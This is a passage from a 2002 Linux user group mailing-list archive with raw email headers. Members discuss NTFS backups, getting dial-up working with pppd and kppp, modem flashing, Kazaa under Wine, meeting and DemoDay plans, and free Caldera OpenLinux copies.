pull my email backups and file backups on to a FAT32 patition. >From what I've read about Write support for NTFS is that if you do "alot" of it windows won't be able to "repair" itself when you boot it next. Basically the write makes windows think that you didn't shut the computer down properly and windows finishes putting it the "proper" place. But I was moving almost 40 megs, and that seemed like a little too much to risk. I had the extra space so I just installed another copy of 2K to stage the restore from. When all was said and done it was a matter of changing a 2 to a 1 in the boot.ini, but I didn't know that .. Doug BTW - I learned my lesson about "dangerous" kernel additions/modules a while back ... I like the ones with no disclaimer by them :-) From gentoo@mchsi.com Sat Aug 10 15:43:43 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 14241 invoked by uid 1051); 10 Aug 2002 15:43:43 -0000 Received: from unknown (HELO sccmmhc01.mchsi.com) (204.127.203.183) by 0 with SMTP; 10 Aug 2002 15:43:43 -0000 Received: from laptop ([12.217.84.119]) by sccmmhc01.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020810154343.LJGJ23220.sccmmhc01.mchsi.com@laptop> for ; Sat, 10 Aug 2002 15:43:43 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Noah Justin Norris To: qclug@qclug.org Subject: Re: [QCLUG] dial up help Date: Sat, 10 Aug 2002 10:35:07 +0000 User-Agent: KMail/1.4.2 References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200208101035.07849.gentoo@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Sat, 10 Aug 2002 15:43:43 -0000 I got it to work i ran pppconfig and then #/usr/sbin/pppd call dialup. it works fine everytime i had to change all the permision for the files=20 pppconfig made to connect as a normal user strange after i got it workin= g in=20 a konsole ,=20 kppp works (after i connetced once with kppp) i will have to reboot to see if it works straight off . im thinking pppd= does=20 something that kppp does not maybe . and yes i have read some docs and ma= n=20 pages :) well im going to reboot and im still clueless why kppp wont work= ?=20 the files i modified should have nothing to do with kppp . i also have to bring down eth0 or the route for ppp0 does not get set . = Is=20 there a way to fix this . Im thinking of setting up all networking manual= y .=20 or can there be a script to see which network to use. because my network = is=20 set to my internel network when i go other places i have to reset my netw= ork=20 to those places . I need help / a favor the modem i have for my laptop is a hardware modem = 56k but it needs to be flashed to make work with 56k v.90 . the flash program= is=20 on dells website . but it says that you must have windows to run the flas= h=20 update ( it dont run in dos :( ) so does anyone have a windows laptop tha= t=20 you could flash my pcmcia modem. My modem is only connecting at 28k v.32 =20 On Friday 09 August 2002 03:43 pm, Paul Gray wrote: > On Thu, 8 Aug 2002, Noah Justin Norris wrote: > > at least it did work ..... anyone got any suggestions > > suggestions for what, exactly? Your message doesn't make sense when > you say that it works, and request suggestions too. > > Are you asking what to do to get kppp to modify static files ala Mandra= ke > in Gentoo? > > Paul Gray -o) > 323 Wright Hall /\\ > University of Northern Iowa _\_V > Message void if penguin violated ... Don't mess with the penguin > No one ever says "Hey, I can't read that ASCII e-mail ya sent me." > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug --=20 life is linux=20 linux is life=20 From noah_norris@mchsi.com Sat Aug 10 23:19:57 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 15128 invoked by uid 1051); 10 Aug 2002 23:19:57 -0000 Received: from unknown (HELO sccmmhc02.mchsi.com) (204.127.203.184) by 0 with SMTP; 10 Aug 2002 23:19:57 -0000 Received: from noah3.mchsi.com ([12.217.84.119]) by sccmmhc02.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020810231958.TADY7903.sccmmhc02.mchsi.com@noah3.mchsi.com> for ; Sat, 10 Aug 2002 23:19:58 +0000 Content-Type: text/plain; charset="us-ascii" From: Noah Justin Norris To: qclug@qclug.org Date: Sat, 10 Aug 2002 18:12:35 +0000 User-Agent: KMail/1.4.2 MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200208101812.35616.noah_norris@mchsi.com> Subject: [QCLUG] kazaa / wine / linux X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: noah_norris@mchsi.com, qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Sat, 10 Aug 2002 23:19:57 -0000 is it possible to run kazaa completely in linux in wine ?=20 linux will be the only os on this computer . ?=20 --=20 life is linux linux is life From noah_norris@yahoo.com Sun Aug 11 02:52:13 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 15469 invoked by uid 1051); 11 Aug 2002 02:52:13 -0000 Received: from unknown (HELO web14607.mail.yahoo.com) (216.136.224.87) by 0 with SMTP; 11 Aug 2002 02:52:13 -0000 Message-ID: <20020811025201.76478.qmail@web14607.mail.yahoo.com> Received: from [12.217.84.119] by web14607.mail.yahoo.com via HTTP; Sat, 10 Aug 2002 19:52:01 PDT Date: Sat, 10 Aug 2002 19:52:01 -0700 (PDT) From: Noah Norris Subject: Re: [QCLUG] linuxworld To: qclug@qclug.org In-Reply-To: <1028576224.2020.25.camel@runabout.noc.starken.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Sun, 11 Aug 2002 02:52:13 -0000 I would go but have no way there . --- Daniel Wittenberg wrote: > Anyone else going to Linuxworld next week and want > to hook up? > > Dan > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug ===== your mouse has moved you have to restart windows for the changes to take effect. -------------- life is linux linux is life __________________________________________________ Do You Yahoo!? HotJobs - Search Thousands of New Jobs http://www.hotjobs.com From OrtegaAlexC@JohnDeere.com Mon Aug 12 13:37:08 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 19430 invoked by uid 1051); 12 Aug 2002 13:37:07 -0000 Received: from unknown (HELO fdpnmailgw3.mailgws.com) (192.43.65.231) by 0 with SMTP; 12 Aug 2002 13:37:07 -0000 X-Server-Uuid: 2d3b7162-db1d-11d3-b8ee-0008c7dfb6f1 Message-ID: From: "Ortega Alex C" To: "'qclug@qclug.org'" Date: Mon, 12 Aug 2002 08:37:07 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) X-WSS-ID: 1149658E249770-01-02 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [QCLUG] Meeting this week??????? X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 12 Aug 2002 13:37:08 -0000 What is the status of our meetings? We should be having a meeting tomorrow night, but where and when, if we are having one??? Im up for it if everyone else is.... But i know we have the poll up and it has Saturdays as the leader 14 to 10 (to 3). We need to talk about the DemoDay, the date is September 21st, and that is coming up sooner than one would think... The set location is Augustana College, i believe. Getting a new Pepsi sign is next to impossible, i talked to a person there and they told me they get so many requests, that they kinda quit doing it. We need to make signs/purchase signs to make sure people can locate it wherever it will be.... We have SIGBAP scheduled for the last Friday of the month, which could possibly become a semi-regular event if attendance is good... Make sure to RSVP to superdug@dugnet.com. Alexander C. Ortega ------ Computer - "Dude! Your computer is crashing..." Kid - "Mom!!!! Mom-"Yes hon?" Kid-"Did you install some memory from Dell?" ------ From jim.biehn@iowawireless.com Mon Aug 12 14:07:03 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 19603 invoked by uid 1051); 12 Aug 2002 14:07:03 -0000 Received: from unknown (HELO metis.iowawireless.com) (209.152.82.131) by 0 with SMTP; 12 Aug 2002 14:07:03 -0000 Received: by metis.iowawireless.com with Internet Mail Service (5.5.2653.19) id ; Mon, 12 Aug 2002 09:05:40 -0500 Message-ID: From: Jim Biehn To: "'qclug@qclug.org'" Date: Mon, 12 Aug 2002 09:05:34 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C24209.53C00FF0" Subject: [QCLUG] Caldera OpenLinux X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 12 Aug 2002 14:07:03 -0000 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C24209.53C00FF0 Content-Type: text/plain; charset="iso-8859-1" I was shipped 5 copies of OpenLinux Server and 10 copies of OpenLinux Work Station from Caldera. I will be sending some copies to the Galesburg, IL. LUG. Would anyone be interested in trying this product and generating some evals for this software? Let me know when and where............Jim. ------_=_NextPart_001_01C24209.53C00FF0 Content-Type: text/html; charset="iso-8859-1"
I was shipped 5 copies of OpenLinux Server and 10 copies of OpenLinux Work Station from Caldera. I will be sending some copies to the Galesburg, IL. LUG. Would anyone be interested in trying this product and generating some evals for this software? Let me know when and where............Jim.
------_=_NextPart_001_01C24209.53C00FF0-- From jim.biehn@iowawireless.com Mon Aug 12 14:36:50 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 19814 invoked by uid 1051); 12 Aug 2002 14:36:49 -0000 Received: from unknown (HELO metis.iowawireless.com) (209.152.82.131) by 0 with SMTP; 12 Aug 2002 14:36:49 -0000 Received: by metis.iowawireless.com with Internet Mail Service (5.5.2653.19) id ; Mon, 12 Aug 2002 09:35:31 -0500 Message-ID: From: Jim Biehn To: 'Ortega Alex C' Cc: "'qclug@qclug.org'" Subject: RE: [QCLUG] Caldera OpenLinux Date: Mon, 12 Aug 2002 09:35:22 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" X